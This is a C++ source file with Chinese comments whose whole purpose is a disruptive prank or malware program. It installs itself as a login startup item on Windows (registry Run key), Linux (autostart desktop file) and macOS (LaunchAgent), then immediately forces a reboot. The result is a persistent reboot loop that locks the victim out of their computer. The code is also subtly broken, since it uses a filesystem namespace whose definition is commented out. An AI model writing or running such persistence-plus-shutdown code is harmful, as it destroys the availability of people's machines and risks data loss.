#include <iostream>
#include <cstdlib>
#include <string>
#include <fstream>

// 文件系统库兼容性处理
//#if __has_include(<filesystem>)
//#include <filesystem>
//namespace fs = std::filesystem;
//#else
//#include <experimental/filesystem>
//namespace fs = std::experimental::filesystem;
//#endif

#ifdef _WIN32
#include <windows.h>
#elif __linux__
#include <unistd.h>
#include <sys/stat.h>
#include <pwd.h>
#elif __APPLE__
#include <TargetConditionals.h>
#include <dlfcn.h>
#endif

// 跨平台获取可执行文件路径（增强版）
std::string get_exe_path() {
#ifdef _WIN32
    char path[MAX_PATH];
    GetModuleFileNameA(NULL, path, MAX_PATH);
    return std::string(path);
#elif __linux__
    return fs::canonical("/proc/self/exe");
#elif __APPLE__
    char path[PATH_MAX];
    uint32_t size = sizeof(path);
    if (_NSGetExecutablePath(path, &size) == 0) {
        char real_path[PATH_MAX];
        if (realpath(path, real_path)) {
            return std::string(real_path);
        }
    }
    return "";
#endif
}

void add_to_startup() {
    std::string exe_path = get_exe_path();

#ifdef _WIN32
    HKEY hKey;
    LPCSTR keyPath = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
    
    // 构造带引号的路径（处理空格问题）
    std::string command = "\"" + exe_path + "\"";
    
    if (RegOpenKeyExA(HKEY_CURRENT_USER, keyPath, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
        RegSetValueExA(hKey, "SelfStartApp", 0, REG_SZ,
                      (const BYTE*)command.c_str(), command.size() + 1);
        RegCloseKey(hKey);
        std::cout << "Windows启动项已添加\n";
    } else {
        std::cerr << "注册表访问失败\n";
    }

#elif __linux__
    struct passwd *pw = getpwuid(getuid());
    std::string autostart_dir = std::string(pw->pw_dir) + "/.config/autostart";
    fs::create_directories(autostart_dir);

    std::ofstream desktop(autostart_dir + "/selfstart.desktop");
    desktop << "[Desktop Entry]\n"
            << "Type=Application\n"
            << "Exec=" << exe_path << "\n"
            << "Name=SelfStartApp\n"
            << "Comment=AutoStart Application\n"
            << "X-GNOME-Autostart-enabled=true\n";
    std::cout << "Linux自启动已配置\n";

#elif __APPLE__
    std::string launch_agents_dir = std::string(getenv("HOME")) + "/Library/LaunchAgents";
    fs::create_directories(launch_agents_dir);

    std::string plist_content = R"(<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>Label</key>
    <string>com.selfstart.app</string>
    <key>ProgramArguments</key>
    <array>
        <string>)" + exe_path + R"(</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
    <key>KeepAlive</key>
    <false/>
</dict>
</plist>)";

    std::string plist_path = launch_agents_dir + "/com.selfstart.plist";
    std::ofstream(plist_path) << plist_content;
    system(("launchctl load -w " + plist_path).c_str());
    std::cout << "macOS启动代理已安装\n";
#endif
}

void shutdown_system() {
#ifdef _WIN32
    // system("shutdown /s /t 1");  // 关机
    system("shutdown /r /t 1"); // 重启
#elif __linux__
    // system("shutdown -h now");   // 关机
    system("shutdown -r now"); // 重启
#elif __APPLE__
    system("osascript -e 'tell app \"System Events\" to shut down'");
#endif
}

int main() {
    add_to_startup();
    shutdown_system();
    return 0;
}